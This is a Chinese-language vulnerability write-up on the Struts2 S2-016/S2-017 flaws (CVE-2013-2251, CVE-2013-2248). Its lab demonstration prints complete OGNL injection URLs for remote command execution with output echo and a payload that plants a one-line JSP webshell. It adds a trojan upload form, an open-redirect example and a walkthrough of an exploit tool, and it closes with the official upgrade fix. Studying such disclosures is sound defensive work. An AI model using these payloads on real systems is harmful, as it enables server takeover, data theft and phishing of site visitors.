Struts2最新安全漏洞分析
Struts是Apache軟體基金會Jakarta專案組的一個開源專案,它採用MVC模式,幫助java開發者利用J2EE開發Web應用。目前,Struts廣泛應用於大型網際網路企業、政府、金融機構等網站建設,並作為網站開發的底層模板使用。7月17日,Apache官方公佈了Struts最新的兩個安全漏洞,一個是遠端命令執行漏洞,另一個是重定向漏洞,並且在公佈安全漏洞描述資訊的同時,也公佈了詳細的PoC程式碼,這就導致了黑客利用官方公佈的PoC程式碼快速編寫出了漏洞利用程式。在7月17日漏洞公佈當日就已經有大量的網站被檢測出存在該安全漏洞,在我國著名的烏雲漏洞平臺就有白帽子公佈了存在漏洞的站點,當日提交的部分漏洞列表截圖如下圖1所示。
圖1 漏洞爆發當日烏雲提交部分資料
圖中也只是漏洞公佈當天白帽子提交該漏洞的一小部分,從中我們也發現了包括百度、騰訊、京東等大型網站的漏洞資訊,甚至還出現了銀行站點的安全問題,所以可見該漏洞影響範圍和影響力都是巨大的。文字將對該漏洞進行分析,描述黑客利用該漏洞可以做的事情,以及如何對該漏洞進行修補進行介紹。
漏洞概述
表1:CVE-2013-2251漏洞描述
表2:CVE-2013-2248漏洞描述
漏洞分析和利用
Apache官方提供的PoC測試程式碼如下圖2所示。
圖2 Apache官方提供的PoC測試程式碼
從提供的資訊中,我們可以瞭解到通過導航字首及重定向字首的構造,可以將構造的資料作為OGNL表示式執行,而這種問題其實和以前公佈的Struts遠端程式碼執行漏洞的性質是一樣的。結合以往的漏洞利用方式,我們的目的也就比較明確,就是可以在目標伺服器環境中執行命令並將命令執行的結果反饋給我們。除此之外就是向伺服器環境中寫入我們自己的Webshell檔案,這樣通過Webshell進行操作就更加方便。接下來我們在自己安裝的測試環境中對該漏洞進行測試,環境為Windows Server 2003 + Apache Tomcat + Struts2。
遠端命令執行利用
我們根據提供的PoC程式碼構造一個簡單的命令執行的URL,具體內容為http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}。這個URL的作用是在服務端執行命令calc,也就是執行一個計算器。從服務端的工作管理員中我們可以看到執行的結果,並且執行的使用者名稱是SYSTEM,如下圖3所示。
圖3 工作管理員中檢視建立的程序
但是這種簡單的命令執行方式從客戶端的瀏覽器環境中是看不到的,所以結合以往漏洞利用方式,我們通過構造URL將命令執行結果讀入資料流中,然後再通過輸出的方式在客戶端進行展示,就實現了執行命令回顯功能。我們再次構造提交的URL地址如下:http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}。其中whoami是我們想要執行的命令,如果執行命令的字串中包含有空格,則需要將字串按照空格分為多個字串,並用逗號隔開即可。然後我們再次提交這個URL地址,就可以看到遠端命令執行時返回的命令執行結果資訊,如下圖4所示。
圖4 遠端命令執行回顯結果
獲取Webshell利用
接下來,我們看一下如何利用遠端命令執行漏洞寫入自己的後門webshell檔案。通過命令執行漏洞的利用寫入檔案時,我們首先需要知道目標網站所在的物理路徑資訊,我們可以通過getServletContext()獲取Servlet上下文物件,再利用getRealPath()獲取網站的絕對路徑資訊。然後,再將我們需要寫入檔案的名稱及寫入檔案的內容進行提交,所以在構造URL時,我們要在獲取網站根目錄絕對路徑的同時,構造需要寫入檔案的名稱以及寫入檔案的內容,構造提交URL內容如下:http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22webshell.jsp%22).replaceAll("\\\\","/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22content%22)).close()}&content=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e。其中,webshell.jsp表示我們儲存在根目錄下的檔名稱,content表示我們提交的欄位名稱及寫入檔案的內容資訊。寫入的內容為一句話JSP的小馬,需要配合客戶端指令碼一起使用,提交的內容包括兩部分內容,一部分內容是參變數f表示希望儲存的檔名,另一部分內容是參變數t,表示希望儲存檔案的內容,我們構造本地HTML表單如下。
<form action="http://192.168.100.138:8080/struts2-blank/webshell.jsp" method="POST">
木馬檔名:<input type="text" name="f" value="muma.jsp"><br />
木馬檔案內容:<textarea name="t" cols="100" rows="10"></textarea><br />
<input type="submit" value="提交">
</form>
然後在本地開啟HTML檔案,並填寫希望儲存的木馬檔名和寫入檔案的內容並提交即可,如下圖5、圖6所示。
圖5 本地構造表單並提交
圖6 利用一句話木馬上傳得到的功能強大Webshell
重定向漏洞利用
相對於遠端命令執行漏洞來說,重定向漏洞或許沒有那麼嚴重的危害,但是與獲取敏感資訊、遠端命令執行及獲取Webshell是對網站伺服器本身造成危害不同,重定向漏洞的利用可能更多的是針對網民的攻擊,如藉助重定向漏洞實施的釣魚攻擊或網頁掛馬攻擊等。重定向漏洞的利用比較簡單,只需要在存在漏洞的URL地址後面加上重定向引數字首及希望跳轉到的地址即可,如http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:http://www.baidu.com,這個地址的作用是在使用者訪問這個存在漏洞的URL地址時,會自動跳轉到百度首頁。使用者在訪問過程中,實際上會產生一個302跳轉,這個跳轉過程我們可以通過第三方工具檢視到,如下圖7所示。
圖7 重定向過程的302跳轉
但是使用者在使用瀏覽器過程中會沒有任何提示就跳轉到百度的首頁,那麼如果惡意黑客通過利用該漏洞惡意引導使用者跳轉到一個釣魚網站或掛馬連結的地址,就會對使用者造成危害。
漏洞利用工具
隨著Struts漏洞被越來越多的網路安全愛好者關注,漏洞利用方法也在網上被公佈出來,網上已經出現了幾十款針對該漏洞的利用工具,這些工具的漏洞利用原理都是類似的。我們挑選一款操作比較簡單的漏洞利用工具給大家進行演示。
漏洞利用工具使用時不需要我們輸入過多的漏洞利用字串,只需要將存在漏洞的URL地址直接複製貼上到工具中點選相應的按鈕操作就可以了。首先我們需要驗證一下目標地址是否存在S2-016/S2-017漏洞。如下圖8所示,驗證我們的測試環境確實存在該漏洞。
圖8 利用工具驗證漏洞是否存在
然後我們選擇執行命令,檢視當前網站所在的物理路徑,方便我們在寫入webshell時進行操作,我們點選獲取資訊按鈕即可獲取當前網站目錄資訊如下圖9所示。
圖9 利用工具獲取網站絕對路徑
然後我們對當前使用者資訊進行檢視,通過執行命令whoami檢視當前使用者資訊,如下圖10所示。
圖10 利用工具遠端執行命令
從圖中我們發現當前使用者的許可權是system許可權,也就是系統的最高許可權。然後我們進一步通過獲取webshell功能上傳一個JSP的一句話木馬,方便我們日後上傳功能更強大的webshell實施進一步滲透攻擊。點選GetShell功能後,提示我們上傳檔案成功,如下圖11所示。
圖11 利用工具獲取Webshell
在服務端我們檢視網站根目錄,發現了剛剛使用工具上傳的一句話Webshell的資訊,如下圖12所示。
圖12 服務端檢視獲取到的webshell
至此,我們就已經通過使用漏洞利用工具利用該遠端命令執行漏洞實現了測試目標網站環境是否存在安全漏洞,並藉助漏洞獲取Webshell及系統最高許可權。在實際的網路攻擊滲透過程中,這些只是黑客入侵的開始,黑客會藉助獲取到的許可權和Webshell對目標網站實施進一步的滲透攻擊、隱匿自身並不斷得盜取目標環境的敏感資料資訊。
漏洞防範
通過上述我們對漏洞的分析和漏洞利用的描述,我們瞭解了該漏洞在實際網路環境中帶來的安全隱患是非常嚴重的。Apache官方在公佈漏洞資訊的同時也給出了相應的安全解決方案:使用Struts 2.0.0 版至Struts 2.3.15版本的使用者,只需要將Struts升級到Struts 2.3.15.1版本即可修復該漏洞,補丁的下載地址在http://struts.apache.org/download.cgi#struts23151。希望使用存在安全漏洞版本Struts的站長在瀏覽文字後儘快將Struts 升級到最新的2.3.15.1版本,以避免可能遭遇的嚴重安全威脅。
轉載於:https://my.oschina.net/Sallens/blog/311506